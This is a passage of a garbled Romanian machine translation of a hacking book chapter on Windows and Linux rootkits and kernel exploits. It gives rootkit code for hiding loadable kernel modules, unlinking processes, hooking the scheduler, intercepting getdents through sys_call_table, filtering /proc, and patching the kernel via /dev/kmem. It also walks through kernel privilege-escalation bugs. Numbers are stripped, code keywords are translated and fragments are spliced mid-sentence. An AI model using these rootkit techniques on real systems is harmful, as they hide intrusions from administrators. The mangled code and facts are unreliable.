pătrunde la nivelul kernelului, ceea ce provoacă o mulțime de probleme atât pentru administratori, cât și pentru dezvoltatori În numele Majestății Sale Securității, acest lucru ar putea fi suportat dacă Microsoft ar astupa cu adevărat toate lacunele În starea actuală a lucrurilor, se dovedește că suntem nevoiți să renunțăm la o parte din libertăți și comoditati, oferind în schimb nimic! Unde este logica?! pastila albastra „Pilula albastră” se bazează pe două concepte principale - ocolirea semnăturii digitale a driverelor (obligatorie în edițiile Windows x - începând cu Windows Vista Beta build ) și instalarea unui hypervisor (hypervisor) folosind virtualizarea hardware AMD Pacifica / Intel Vanderpool tehnologii, care vă permit să rulați sistemul de operare pe un emulator care controlează toate evenimentele „interesante” Acest lucru poate fi ilustrat aproximativ de procesorul , care acceptă modul „virtual ” (alias V ), care permite rularea simultană a mai multor sesiuni MS-DOS Până acum, a apărut un mod „virtual +”, iar un hypervisor proiectat corespunzător nu permite sistemului oaspete să determine dacă rulează sau nu pe un procesor „live” Tehnologia de ocolire a semnăturii digitale a driverelor este relevantă doar pentru versiunile pe de biți de Windows (în versiunile pe de biți, oricum puteți descărca un driver nesemnat), iar mecanismele de virtualizare hardware nu sunt în niciun fel legate de un anumit sistem de operare și de funcționare great pe Linux, BSD, Mac OS, etc e Orice sistem de operare care permite unui hacker să pătrundă la nivelul nucleului poate fi atacat Astfel, „Pilula albastră” este formată din două componente, dintre care doar una este cu adevărat „albastru” El este responsabil pentru scufundarea sistemului de operare în lumea virtuală O altă componentă este o „sămânță” independentă special concepută pentru a ocoli protecția versiunilor de Windows pe de biți și aruncă (sau mai degrabă, aruncă) orice sarcină utilă la nivelul kernelului, care poate fi și un rootkit obișnuit Textul prezentării pe care Zhanna Rutkovskaya a susținut-o la conferința Black Hat, precum și multe alte materiale și utilități utile, pot fi găsite pe site-ul ei: http://www invisiblethings org Denumit și Virtual Machine Monitor (VMM) Desigur, cu sprijinul procesorului Partea a V-a Săpărea codurilor practice Ocolire a semnăturii digitale Mecanismul de ocolire a semnăturii digitale se bazează pe modificarea fișierului de paginare la nivel de sector (să-i spunem un atac de fișier de paginare) Atacul în sine constă din șase etape: Găsim un driver rar folosit în directorul /WINNT/System /Drivers (de exemplu, NULL SYS), citim conținutul acestuia și selectăm o secvență unică de octeți (semnătură) care ne permite să-l identificăm în mod unic Semnătura trebuie să fie localizată în ramura irp mj device control a procedurii DeviceDispatcher, a cărei adresă poate fi determinată cu ușurință prin dezasamblarea driverului În acest caz, semnătura nu are voie să depășească limitele paginii , cu alte cuvinte, trebuie îndeplinită următoarea condiție: (virtual address of signature % lOOOh) + sizeof(virtual address of signature) // Pe mașinile multiprocesor, activăm și smp lock #ifdef SMP #include #endif // Funcție care se execută când modulul este încărcat, int init module(void) { // Terminat! am intrat în modul kernel // și acum putem face orice orice! // Miau ceva, printk("\nWOW! Modulul nostru a fost încărcat!\n"); // Inițializare reușită return( ) ; ) // O funcție care este executată când modulul este descărcat void cleanup module(void) { // Miau ceva printk("\nDoamne ia-l! Modulul nostru a fost descărcat\n"); // Anocați licența sub care este distribuit // acest fișier Dacă acest lucru nu se face, modulul va avea succes // va porni, dar sistemul de operare va emite un avertisment, // salvat în jurnale și atrage atenția administratorilor MODULE LICENSE("GPL"); De la versiunea , au existat modificări semnificative în nucleu, iar acum trebuie să programați așa cum se arată în Lista ; ListingZb&Su^p yusteJsh^m^ #ifdef LINUX static int init my init() #altfel modul int Partea a V-a Săpărea codurilor practice #endif #ifdef LINUX static void exit my cleanup() #altfel int cleanup module() # endif #ifdef LINUX module init(my init); module exit(my cleanup); #endif Consultați sistemul de ajutor (modulul man -k), documentația oficială (/usr/src/linux/Documentation/modules txt) și resursele de Internet enumerate la sfârșitul acestei secțiuni pentru detalii În orice caz, modulul nou scris trebuie compilat: gcc -c my module c -o my module o (este foarte recomandat să activați optimizarea adăugând comutatorul - sau -oz), și apoi încărcat în nucleu: insmod modulul meu o Numai utilizatorul root poate încărca module Rețineți că obținerea root este un subiect pentru o altă discuție și va fi tratată puțin mai târziu în acest capitol (vezi „Obținerea inelului în Linux”) Pentru a face ca un modul să se încarce automat cu sistemul de operare, adăugați-l în /etc/modules Comanda Ismod (sau dd if=/proc/modules bs=l) listează modulele încărcate, iar rmmod my module descarcă modulul din memorie Observați lipsa unei extensii în acest din urmă caz (Listing - ) ■ Listarea Lista modulelor date de comanda Ismod, linie cu modulul nostru ; evidențiate cu caractere aldine Dimensiunea modulului folosit de Tainted: P my module (nefolosit) parport—pc (curățare automată) IP procesor [termic] ventilator (nefolosit) butonul (nefolosit) rtc o (curățare automată) BusLogic (curățare automată) ext (curățare automată) Apariția neașteptată a modulelor noi îi îngrijorează întotdeauna pe administratori, așa că înainte de a începe lupta, trebuie să vă deghizați corespunzător Următoarele metode sunt populare: □ Excluderea unui modul din lista de module (cunoscută ca metodă B , vezi modhidel c de pe CD-ul care însoțește această carte) Această metodă este extrem de nesigură, împiedică funcționarea normală a ps, top și a altor utilități similare și deseori blochează sistemul □ Capcanarea acceselor /proc/modules, cunoscută ca metoda Runar Jensen, publicată pe Bugtraq și implementată în același mod ca și interceptarea altor accesări la sisteme de fișiere Aceasta este o metodă destul de greoaie și nesigură și este neputincioasă împotriva comenzii dd if=/proc/modules bs=l □ Ștergerea structurii de informații a modulului (metoda Solar Designer) Această metodă este descrisă în articolul „‘Weakening the Linux Kernel” publicat în numărul din PHRACK (http://www phrack org/issues html?issue= &id= #article) și este elegantă și destul de fiabilă Să vorbim despre asta mai detaliat Capitolul Anti-Debugging și Hide-and-Seek sub Windows și Linux Toate informațiile despre un modul sunt stocate în structura de informații despre modul conținută în apelul de sistem sys init module() După ce a pregătit modulul pentru încărcarea și completarea corectă a structurii de informații a modulului, acesta trece controlul funcției noastre init module O caracteristică curioasă a nucleului este că modulele fără nume fără referințe (referințe) nu sunt afișate! Pentru a elimina un modul din listă, trebuie doar să resetați câmpurile de nume și referințe Este ușor Determinarea adresei structurii de informații a modulului în sine este mult mai dificilă Nucleul nu este interesat să-l spună primului hacker pe care îl întâlnește, așa că trebuie să acționați pe furiș Examinând junk-urile rămase în registre în momentul în care controlul a fost transferat la init module, Solar Designer a descoperit că unul dintre ele conține un pointer către informații despre modul! În versiunea sa a nucleului, acesta era registrul ebx, în alte versiuni poate fi complet diferit În plus, există un patch special pentru nucleele mai vechi care astupă această lacună De remarcat, totuși, nu toată lumea îl are instalat Cu toate acestea, adresa instrucțiunii de mașină care se referă la structura de informații a modulului poate fi determinată cu ușurință prin dezasamblarea, mai precis, nu adresa structurii de informații a modulului în sine, ci adresa instrucțiunii de mașină care se referă la această structură Adevărat, în fiecare versiune a nucleului va fi diferit Cel mai simplu exemplu de mascare arată ca Lista - Caz Mascarea modulului cu metoda Solar Designer int init module() { modul de înregistrare a structurii *mp asm("%ebx"); // Înregistrați-vă înlocuitor aici, // unde deține nucleul dvs // adresa informațiilor modulului *(char*)mp->nume=O; mp->size= ; mp->refs= ; // Suprascrie numele modulului // Suprascrie dimensiunea // Suprascrie referințele Orez Consecințele mascarii unui modul cu metoda Solar Designer - comenzile insmod / smod / rmmod nu mai funcționează Partea a V-a Sapărea practică a codurilor O definire incorectă a adresei de informații despre modul va bloca, cel mai probabil, nucleul sistemului sau va bloca vizualizarea listei de module, ceea ce va alerta imediat administratorul (Fig ) Dar mai avem o opțiune în stoc Ne uităm prin lista de module instalate, le găsim pe cele mai inutile, o descarcăm din memorie și o încărcăm pe a noastră - cu exact același nume Daca avem noroc, administratorul nu va observa nimic Excluderea unui proces din lista de sarcini O listă a tuturor proceselor este stocată intern în nucleu ca o listă dublă task struct, a cărei definiție poate fi găsită în fișierul linux/sched h În acest caz, câmpul next task indică ■ procesul următor din listă, iar prev task indică cel anterior Din punct de vedere fizic, task struct este conținut în Process Control Blocks (PCB), a căror adresă este cunoscută de fiecare proces Comutarea contextului este efectuată de planificator, care determină ce proces va rula următorul (Figura ) Dacă ne eliminăm procesul din listă, acesta va dispărea automat din lista de procese /proc, dar nu va mai primi niciodată controlul, ceea ce nu este cu adevărat planul nostru task array Orez Organizarea proceselor în Linux Capitolul Trucuri anti-depanare și Hide and Seek pe Windows și Linux Privind prin lista de procese, este ușor de găsit că nu există niciun proces în ea al cărui pid este egal cu zero Dar un astfel de proces (mai precis, un pseudo-proces) există! Este creat de sistemul de operare pentru a calcula sarcina procesorului și alte scopuri de servicii Să presupunem că trebuie să ascundem procesul cu ID Îl excludem din lista bidirecțională prin lipirea câmpurilor next task/prev task a două procese învecinate Ne conectăm procesul la procesul cu zero pid, încadrându-ne drept procesul părinte (câmpul p pptr este responsabil pentru acest lucru) și modificăm codul de planificare, astfel încât părintele procesului cu zero pid să primească cel puțin ocazional control ( Fig ) Dacă mai mult de un proces trebuie ascuns, ele pot fi înlănțuite folosind câmpul p pptr sau orice alt câmp care nu este folosit efectiv task array Orez Eliminarea unui proces dintr-o listă de procese bidirecționale Codul sursă al planificatorului este conținut în fișierul /usr/src/linux/kernel/sched c Fragmentul de care avem nevoie este ușor de găsit prin cuvântul cheie bunătate (numele funcției care determină „semnificația” procesului în ochii planificatorului) Arată diferit în diferite nuclee O posibilă implementare este prezentată în Lista - Partea U Săpare practică de cod c = - ; // Valoarea inițială a „greutate” // Căutați procesul cu cea mai mare „greutate” în coada de procese care rulează, în timp ce (p '= &init task) { // Determinați „greutatea” procesului în ochii planificatorului // (adică gradul necesar pentru timpul procesorului) greutate = bunătate(prev, p); // Selectați procesul care are nevoie de cel mai mult timp CPU, // pentru procesoarele cu aceeași „greutate” folosiți câmpul pgerv dacă (greutate > c) ( c = greutate; următorul = p; } p = p->next run; // Toate procesele și-au epuizat cuantele, începe o nouă eră // Un loc bun pentru a adăuga transferul de control // proces mascat Procedura de implementare în planificator se realizează conform schemei standard: □ Stocați instrucțiunile suprascrise pe stivă □ Inserăm o comandă de salt în funcția noastră care distribuie cuantele procesorului procesului zero între procesele ascunse □ Executați instrucțiunile salvate anterior □ Revenim controlul funcției de transportator Cea mai simplă implementare software este prezentată în Lista - Listarea ZbLZ Procedura cu harpon care străpunge corpul planificatorului DoubleChain și hooker cu funcție simplă de la Dark-Angel */ #definiți KERNEL #define MODULE #define LINUX #include #define CODEJUMP #define BACKUP /* Numărul de octeți de backup este variabil (cel puțin ), important este să nu rupă niciodată o instrucțiune Capitolul Trucuri anti-depanare și ascunselea sub Windows și Linux caracter static backup one[BACKUP+CODEJUMP] ="\x \x \x \x \x \x \x " „\xb \x \x \x \x \xf f\xeO''; caracter static jump code[CODEJUMP] ="\xb \x \x \x \x \xff\xeO"; #define FIRST ADDRESS xc //Adresa funcției pentru a suprascrie memoria lungă nesemnată; gol cenobit(gol) { printk("Funcția conectată cu succes\n"); asm volatile("mov %ebp,%esp;popi %esp;jmp backup one); /* Acest cod asm este pentru restaurarea stivei Primii octeți ai unei funcții (Cenobite acum) sunt întotdeauna pentru împingerea parametrilor Sărind departe, funcția nu poate restabili stiva, așa că trebuie să o facem manual Cu saltul mergem la executarea codului de backup și apoi sărim în funcția originală int init module(void) { * (unsigned long *)&jump code[ ]=(unsigned long )cenobit; * (nesemnat lung *)&backup one[BACKUP+ ]=(nesemnat lung)(FTRST ADDRESS+ BACKUP); memorie=(nesemnat lung *)FIRST ADDRESS; memcpy(backup one,memory,CODEBACK); memcpy(memorie, cod sărit,CODEJUMP); întoarce ; } void cleanup module(void) { memcpy(memorie,backup one,BACKUP); } Deoarece reprezentarea mașinii planificatorului depinde nu numai de versiunea nucleului, ci și de cheile de compilare, este aproape imposibil să ataci un sistem arbitrar Mai întâi trebuie să copiați nucleul pe mașină și să îl dezasamblați, apoi să dezvoltați o strategie de implementare adecvată Dacă mașina atacată folosește un nucleu standard, putem încerca să identificăm versiunea sa prin semnătură folosind o strategie de implementare pregătită în prealabil Nu toți administratorii își recompilează nucleele, așa că această tactică funcționează bine A fost prezentat pentru prima dată la Conferința Europeană Black Hat în , a cărei prezentare electronică este disponibilă la http://www blackhat com/presentations/bh-europe- /bh-eu- -butler pdf Multe rootkit-uri și, în special, Phantasmagoria funcționează conform acestui principiu Interceptarea apelurilor de sistem Îți amintești de MS-DOS? Acolo, stealth a fost efectuat prin înlocuirea întreruperilor int h / int h În Linux, interceptarea apelurilor de sistem (syscall) este utilizată în același scop Pentru a ascunde procesele și fișierele, este suficient să interceptați doar unul dintre ele - getdents, care se bazează pe binecunoscutul readdir, care, în deplină concordanță cu numele său, citește conținutul directoarelor (inclusiv /pros!) În general, nu există nicio altă modalitate legală de a vizualiza lista de procese sub Linux Funcția Interceptor funcționează pe lângă getdents și pro Partea a V-a Săpărea codurilor practice se uită la rezultatul returnat de acesta, mușcând tot „excesul” din el Cu alte cuvinte, interceptorul funcționează ca un filtru Conexiunile de rețea sunt ascunse în același mod (sunt montate pe /proc/net) Pentru a masca sniffer-ul, trebuie să interceptați apelul de sistem ioctl prin suprimarea steagului promisc Și interceptarea apelului de sistem get kernel symbols vă permite să mascați modulul LKM, astfel încât nimeni să nu-l găsească Sună tentant Rămâne doar să o punem în practică Nucleul exportă o variabilă extern void sys call table care conține o matrice de pointeri către apeluri de sistem (syscalls), fiecare celulă conținând fie un pointer valid către apelul sistem corespunzător, fie o valoare nulă indicând că apelul de sistem dat nu este implementat Doar declarați variabila *sys call table[] în modulul dvs și apoi toate apelurile de sistem vor fi în mâinile dvs Numele apelurilor de sistem cunoscute sunt listate în fișierul /usr/include/sys/syscall h În special, sys call table [SYS getdents] returnează un pointer către getdents Cel mai simplu exemplu de interceptare este prezentat în Lista - Pentru mai multe informații, consultați „Slăbirea kernelului Linux” în PHRACK # (http://www phrack org/issues html?issue= &id= #article) > - // Indicator către tabelul de apeluri de sistem extern void *sys call table[]; // Indicatori către vechile apeluri de sistem int (*o getdents) (uint, struct dirent *, uint); // Interceptați! int init module(void) { // Obține un pointer către original // Apel de sistem SYS getdents // și stocați-l în variabila o getdents o getdents = sys call table[SYS getdents]; // Introduceți indicatorul către funcția interceptor // (codul interceptorului în sine nu este afișat aici pentru a economisi bani) sys call table[SYS getdents] = (void *) n getdents; // Întoarcere întoarce ; // Restaurează handlerele originale, void cleanup module(void) { sys call table[SYS getdents] = o getdents; Marea majoritate a rootkit-urilor funcționează pe acest principiu Adevărat, atunci când lovesc un nucleu necunoscut, unii dintre ei pur și simplu nu mai funcționează, ceea ce nu este surprinzător! La urma urmei, aspectul apelurilor de sistem variază de la nucleu la nucleu (Fig ) Capitolul Trucuri anti-depanare și Hide and Seek pe Windows și Linux E&'o'z H:H Orez Consecințele eșecului interceptării apelurilor de sistem Interceptarea cererilor către sistemul de fișiere Nucleul exportă variabila proc root, inodul rădăcină al sistemului de fișiere virtual proc root, montat în mod tradițional pe directorul /pros Dacă se dorește, putem instala propriul nostru handler de filtru deasupra acestuia, ascunzând procesele hackerilor de privirile indiscrete Spre deosebire de apelurile de sistem, interceptarea variabilei proc root nu este sensibilă la versiunea de kernel, ceea ce este deja un avantaj! Cel mai simplu interceptor ar putea arăta ca Lista - Pentru mai multe informații, consultați articolul „Advances in Kernel Hacking” publicat în PHRACK Issue (http://www phrack org/issues html?issue= &id= #article) \ Lista Filtru nou pentru sistemul de fișiere proc root // Indicator global către funcția filldir originală filldir t real filldir,- static int new filldir root (void* buf,const char* name,int name,off t offset, { ino t ino) // Analizează fiecare nume din director, // dacă acesta este numele acelui modul/proces/fișier/conexiune de rețea, // pe care vrem să-l ascundem, returnează null, // în caz contrar, trecem controlul la funcția originală // filldir if (isHidden(nume)) returnează ; return real filldir( buf, nume, namlen, offset, ino); // Noua functie readdir int new readdir root (fișier struct „a, void *b, filldir t c) Partea a V-a Săpărea codurilor practice { // Inițializează un pointer către funcția original filldir // De fapt, nu trebuie să faci asta de fiecare dată, doar // ne este mai ușor astfel real filldir = c; returnează old readdir root (a, b, new filldir root) ; // Configurați propriul nostru filtru proc root FILE OPS->readdir = new readdir root; Când modulele nu sunt disponibile Pentru a combate rootkit-urile LKM, unii administratori compilează nucleul fără suport pentru module încărcate și elimină fișierul System map, privându-ne de tabelul de simboluri Dar hackerii supraviețuiesc chiar și în aceste condiții dure Ideologia UNIX se compară favorabil cu subiectele Windows că orice entitate (fie ea un dispozitiv, un proces sau o conexiune la rețea) este montată pe sistemul de fișiere, respectând regulile generale RAM-ul, reprezentat de „pseudo-devices” /dev/mem (memoria fizică înainte de traducerea virtuală) și /dev/kmem (memoria fizică după traducerea virtuală), nu a scăpat de această soartă Numai root poate manipula aceste dispozitive, dar nu este necesar ca el să coboare la nivelul kernelului, ceea ce înseamnă că nu avem nevoie de suport de modularitate! Următoarele funcții demonstrează tehnica de citire/scriere a memoriei kernel din stratul de aplicație (LISTING ) Lista Citiți/scrieți în/din /dev/kmem // Citiți datele din /dev/kmem static iniine int rkrn(int fd, int offset, void *buf, int size) if (lseek(fd, offset, ) != offset) returnează ; if (readffd, buf, size) '= size) returnează ; mărime returnată; } // Scrieți datele în /dev/kmem static iniine int wkm (int fd, int offset, void *buf, int size) { if (lseek(fd, offset, ) '= offset) returnează ; if (write(fd, buf, size) '= size) return ; mărime returnată; Rămâne doar să găsim tabelul de apeluri de sistem în tot acest gunoi Cum îl putem găsi dacă nu avem nicio informație simbolică?! Fara panica! Vom fi ajutați de procesorul central și de codul de mașină al manipulatorului de întreruperi int Oh, care gestionează aceste apeluri de sistem Codul său dezasamblat arată în general ca Lista - xc bc : apăsați %eax xc bc : cld oxoibsa : apăsați %es Capitolul Trucuri anti-depanare și Hide and Seek pe Windows și Linux OxcOlOSbcb : apăsați %ds OxcOlOobcc : împinge %eax xc bcd : apăsați %ebp OxcOlOSbce : împinge %edi xc bcf : apăsați %esi xc bd : apăsați %edx xc bdl : apăsați %ecx xc bd : apăsați %ebx xc bd : mov $ x ,%edx xc bd : mutare %edx,%ds xc bda : mutare %edx,%es xc bdc mov $ xffffeOOO,%ebx OxcOlOSbel : și %esp,%ebx OxOJUBE : cmp $ x ,%eax xc be : j ae xc c OxcOlOSbee : testb $ x x (%ebx) OxcOlOSbf : jne xc c xc bf s call ♦OxcOleOf (,%eax, ) : mutare %eax, x (%esp, ) OxcOlOSbff : nup Uite, la adresa c BF h este comanda de apel, al cărei argument direct este un pointer către tabelul de apeluri de sistem! Adresa instrucțiunii de apel se poate schimba de la un nucleu la altul sau poate să nu fie deloc un apel - în unele nuclee, un pointer către tabela de apeluri de sistem este trecut printr-un registru intermediar cu instrucțiunea mov Cu alte cuvinte, avem nevoie de o comandă, unul dintre ale cărei argumente este operandul imediat x > ooooOOOOh Desigur, pentru a-l găsi, va trebui să scrieți un simplu dezasamblator (suna mai înfricoșător decât pare) sau să găsiți un motor gata făcut pe net Sunt destul de destui Cum să găsesc adresa handler-ului int h în fișierul /dev/kmețn? Doar întrebați procesorul despre asta - vă va spune Comanda sidt returnează conținutul Tabelului Descriptor de întreruperi (IT), în care elementul h este handlerul nostru (Fig ) Lista - este un fragment de cod care determină poziția tabelului de apeluri de sistem în /dev/kmem (pentru versiunea completă, consultați „Corectarea kernel-ului Linux din mers fără LKM” în PHR ACK # (http: //www phrack org/issues html?issue= &id= #article)) Lista Căutați handler INT h în /dev/kmem // Analizați primii de octeți ai handlerului #define CALLOFF principal() sys call off nesemnat; set nesemnat; char sc asm[CALLOFF] , *p; // Citiți conținutul tabelului de întreruperi, asm ("sidt % " : "=m" (idtr)); printf("idtr baza la x%X\n",(int)idtr base); // Deschide /dev/kmem kmem = deschis("/dev/kmem",O RDONLY); dacă (kmem - ) verifica = strstr(buf, "ecx: "); printf(" |- [% s]\n", verifica); dacă (*(verificare+ ) == x && *(verificare+ ) == x ) { verifica+= ; printf(" |- valoarea potrivită găsită folosind x% s\n", verificați); printf(" a sosit momentul sa apasati butonul verificati id'\n"); *(verificare+ ) = x ;*(-verificare) = 'x ;*( verificare) = ' '; mod = (unsigned int*)strtoul(check, , ); pentru (sock = ;sock mm->arg end - curent->mm->arg start; dacă (len >= ELF PRARGSZ) / * * / len=ELF PRARGSZ- ; copy from user(&psinfo pr psargs,/* */ (const char *)current->mm->arg start, len); Buffer overflow tipic! Programatorul declară o variabilă len semnată (vezi /* */) și după un timp o trece la funcția copy from user, care copiază datele din memoria utilizatorului în zona kernelului Nu există nicio verificare pentru o valoare negativă (vezi /* */) Ce înseamnă acest lucru pentru noi în termeni practici? Și asta este! Dacă current->mm-> arg start este mai mare decât current->mm->arg end, o regiune foarte mare de spațiu utilizator va fi copiată în nucleu Partea a V-a Săpărea codurilor practice Și cum se poate realiza acest lucru? Analiza arată că variabilele current->mm->arg start și current->mm >arg end sunt inițializate în funcția create elf„tables (lista ), iar dacă funcția strnlen user returnează o eroare, atunci numai curent->mm- Variabila >arg start va fi inițializată, iar curent->iran->arg end își va păstra valoarea moștenită din fișierul anterior Lista Fragmentul cheie al funcției create elf tables static elf addr t * create elf tables(char *p, int argc, int envc, struct elfhdr*exec, load addr lung nesemnat, load bias lung nesemnat, unsigned long interp load addr, int ibcs) { curent >mm->arg start = (unsigned long) p; în timp ce (argc > ) { put user((elf caddr t)(unsigned long)p,argv++); len = stmlen user(p, PAGE SIZE*MAX ARG PAGES); if ('len || len > PAGE SIZE*MAX ARG PAGES) returnează NULL; /* **/ p += len; } put user(NULL, argv) ,- curent->mm->arg end = curent->mm->env start - (unsigned long) p; Rămâne un fleac Este necesar să piratați funcția strnlen user prin plasarea ambelor variabile într-o secțiune a fișierului ELF cu acces privat (prot none), care, atunci când este accesată, va arunca o excepție Pentru a descărca un dump de program, nucleul va apela funcția core dump Acesta, la rândul său, va apela elf core dump și acolo are loc debordarea! Suprascrierea regiunii kernel deschide posibilități aproape nelimitate, deoarece codul shell rulează pe inelul zero! Exploita-ul demo este aici: http://www derkeiler com/Mailing- Lists/securityfocus/bugtraq/ - / html Probleme legate de multithreading În UNIX clasic, nu existau fire de execuție deloc și, prin urmare, nu a existat nicio problemă de sincronizare a acestora Cu funcția de furcă și facilitățile avansate de comunicare între procese, firele de execuție nu sunt cu adevărat necesare Dar tot au apărut, străpungând sistemul până în fund Nucleul s-a transformat într-o adevărată congestie de bug-uri Iată doar unul dintre ele, descoperit la începutul lunii ianuarie și care afectează toate nucleele versiunii , precum și nucleele cu versiuni de la la -pe și de la la inclusiv Luați în considerare fragmentul funcției load elf library, care este apelată automat de funcția sys uselib atunci când este încărcată o nouă bibliotecă (Listul - ) Î Listarea Fragmentul cheie al funcției load elfJibrary care conține eroarea i sincronizarea firelor static int load elf library (fișier struct *fișier) { down write(&current->mm->nnnap sem); eroare = do mmap(fișier, Capitolul ELF PAGESTART(e f phdat a->p vaddr), (elf phdata->p filesz + ELF PAGEOFFSET(elf phdata->p vaddr)), PROT READ | PROT WRITE | PROT EXEC, MAP FIXED | MAP PRIVATE | MAP DENYWRITE, (elf phdata->p offset - ELF PAGEOFFSET(elf phdata->p vaddr))); up write(&current->mm->mmap sem); if (eroare != ELF PAGESTART(elf phdata->p vaddr)) du-te la out free ph; elf bss = elf phdata->p vaddr + elf phdata->p filesz; padzero(elf bss); len = ELF PAGESTART(elf phdata->p filesz elf phdata->p vaddr + ELF MIN ALIGN - ); bss - elf phdata->p memsz + elf phdata->p vaddr; dacă (bss > len) do brk(len, bss - len); După cum puteți vedea, semaforul mmap sem este eliberat înainte ca funcția do brk să fie apelată, creând astfel o problemă de sincronizare a firelor În același timp, analiza funcției sys brk ne convinge că funcția do brk trebuie apelată cu semaforul armat Luați în considerare un fragment de cod sursă împrumutat din fișierul mm/mmap c (Listingul - ) ' Lista Fragment cheie al funcției sys brk(), care suferă de încălcarea coerenței \ structuri de date de serviciu [ ] vma = kmem cache alloc(vm area cachep, SLAB KERNEL); dacă (Ivma) returnează ENOMEM; vma->vm mm = mm; vma->vm start = addr; vma->vm end = addr + len; vma->vm flags = steaguri; vma->vm page prot = protectie map[steaguri & OxOf]; vma->vm ops = NULL; vma->vm pgoff = ; vma->vm file = NULL; vrna->vrn private data = NULL; vma link(mm, vma, prev, rb link, rb parent); În absența unui semafor, starea memoriei virtuale poate fi schimbată între apelurile către kmem cache alloc și vma link, iar apoi descriptorul VMA nou creat va fi plasat într-un loc complet diferit decât intenționau dezvoltatorii! Acest lucru este mai mult decât suficient pentru a captura root Din păcate, chiar și cea mai simplă exploatare ocupă prea mult spațiu și, prin urmare, nu poate fi afișată aici, dar codul său sursă este ușor de găsit pe Internet Versiunea originală (cu o descriere detaliată a tehnicii de hacking) este la: http://www securityfocus com/bid/ /exploit Obținerea root pe mașinile multiprocesor Să luăm în considerare o altă vulnerabilitate interesantă care afectează un număr mare de nuclee cu versiunile Z și afectează mașinile multiprocesor Descoperit chiar la începutul anului , este încă relevant, deoarece nu toți administratorii au instalat Partea a V-a Săpărea codurilor practice patch-urile și mașinile cu multiprocesor (inclusiv microprocesoarele activate pentru HyperThieading) sunt mai frecvente decât rare în zilele noastre De vină este gestionarea erorilor de pagină, care este apelată ori de câte ori o aplicație accesează o pagină de memorie nealocată sau protejată Nu toate erorile sunt la fel de fatale În special, Linux, la fel ca majoritatea celorlalte sisteme, nu alocă stiva de memorie dintr-o dată, ci parțial În partea de sus a memoriei alocate se află o pagină căreia i se interzice în mod deliberat accesul Se numește „guard” (guard page) Stiva crește treptat și la un moment dat „se prăbușește” în pagina de gardă, ridicând o excepție Este interceptat de handlerul de acces la pagină, iar sistemul de operare alocă o parte de memorie stivei mutând pagina de gardă în partea de sus Pe mașinile cu un singur procesor, această schemă funcționează ca un mecanism de ceas, dar pe mașinile cu multiprocesor apar probleme (Listing - ) Lista Fragmentul cheie al funcției /mm/fault c care conține o eroare de sincronizare down read(&mm->mmap sem); /* **/ vma = find vma(mm, adresa); dacă ( vma) dus la bad area; if (vma->vm start vm flags & VM GROWSDOWN)) dus la bad area; dacă (cod eroare și ) { /* * accesarea stivei de sub %esp este întotdeauna o eroare * „+ ” este acolo datorită unor instrucțiuni (cum ar fi * pusha) face post-decrement pe stivă și asta *nu apare decât mai târziu */ if (adresa + esp) /* * */ du-te la bad area; } if (expand stack(vma, adresa)) du-te la bad area; Deoarece handlerul de erori de pagină rulează cu un semafor numai pentru citire, mai multe fire de execuție concurente pot intra simultan în handler după linia /* * */ Luați în considerare ce se întâmplă dacă două fire care partajează aceeași memorie virtuală apelează un handler de întrerupere de pagină în același timp Un scenariu de atac aproximativ arată astfel: firul accesează pagina de gardă și aruncă o excepție fault l Thread accesează guard page + page size și aruncă fault Starea memoriei virtuale va arăta apoi așa cum se arată în Fig [ NOPAGE ] [fault ] [ VMA ] > High Addresses [ fault ] [ NOPAGE ] [ VMA ] Orez Starea memoriei virtuale în momentul în care handlerul de întrerupere de pagină este apelat de două fire Dacă firul trece înaintea firului I și își alocă mai întâi pagina , firul va cauza o întrerupere majoră managerului de memorie virtuală, deoarece partea de jos a stivei este acum deasupra erorii , deci pagina nu este alocată de fapt, ci devine Capitolul Trucuri anti-depanare și Hide and Seek pe Windows și Linux disponibil pentru citire/scriere în ambele fire, iar după terminarea procesului nu va fi șters (Fig ) [PAGINA ] [PAGINA VMA] Orez Starea memoriei virtuale la momentul ieșirii din handlerul de pauză de pagină Ce este în pagina ? Depinde de starea tabelului de pagini Deoarece memoria fizică în Linux este un fel de cache al spațiului de adrese virtuale, aceeași pagină poate fi utilizată în momente diferite atât de către kernel, cât și de către aplicațiile utilizator (inclusiv procesele privilegiate) După ce a așteptat ca codul kernelului sau vreun proces privilegiat să intre în pagina (acest lucru este ușor de determinat prin semnătură), un hacker poate injecta cod shell aici sau pur și simplu aranja un DoS grandios, aruncând pagina cu gunoi fără sens O descriere a acestei vulnerabilități și exploatare poate fi găsită aici: http://www securiteam com/unixfocus/ GP KEKQ html Capitolul Buffer overflow pe sisteme cu o stivă neexecutabilă Disperat să facă față propriilor greșeli, Microsoft, împreună cu Intel și AMD, a implementat tehnologia Data Execution Prevention (DEP), concepută pentru a pune capăt atacurilor de la distanță o dată pentru totdeauna Cu toate acestea, acest lucru nu s-a întâmplat, iar apărarea a fost ocolită În ciuda tuturor eforturilor, șanțuri săpate și structuri defensive ridicate, intensitatea atacurilor la distanță nu scade și devine din ce în ce mai dificil să le respingi Hackerii au învățat cum să mascheze procesele rău intenționate sub Linux/BSD și sistemele din familia Windows NT, și-au dat seama de firewall-uri și s-au familiarizat cu sistemele distribuite - sute de mii de mașini infectate controlate prin IRC sunt o adevărată armată Interesele utilizatorilor individuali afectați de atac trec în fundal, lăsând loc problemelor de securitate pentru întreaga infrastructură în ansamblu Iar infrastructura este o afacere serioasă Analiza arată că marea majoritate a atacurilor utilizează erori de depășire a tamponului Principiul fundamental al unor astfel de erori este explicat pe scurt în Fig Problema este că tamponul local „crește” în direcția opusă creșterii stivei și, în anumite circumstanțe, poate suprascrie adresa de retur Cea mai mare parte a acestor erori este conținută în Internet Explorer, care, în special, a fost motivul tranziției NASA la FireFox (http://www securitylab ru/news/ php?Rl=RSS&R =allnews) , care nu poate fi decât binevenit Cu toate acestea, FireFox, ca toate celelalte browsere, nu este lipsit de erori Conține un număr mare de vulnerabilități critice care permit unui atacator să-și execute codul Iată doar una dintre aceste găuri: http://www securitylab ru/vulnerability/ O php Grămadă tampon local Adresa expeditorului Orez Reprezentarea schematică a unei stive (săgeata arată direcția în care crește stiva) Niciun software nu poate fi considerat sigur! Chiar dacă patch-urile noi sunt instalate în timp util, există întotdeauna riscul ca un hacker să găsească o nouă gaură despre care nimeni altcineva nu știe și să o folosească cu succes Apropo, dezvoltarea programelor de atac în ultimii ani s-a ridicat din genunchii entuziasmului pur și a pornit într-un flux comercial cu investiții de capital serioase Încă o dată, s-a înțeles că este imposibil să mai trăiești așa și că ceva trebuia decis Încercările de a pune capăt atacurilor de la distanță au fost făcute în mod repetat începând cu anii , Capitolul Buffer overflow pe sisteme cu o stivă neexecutabilă mai ales după viermele 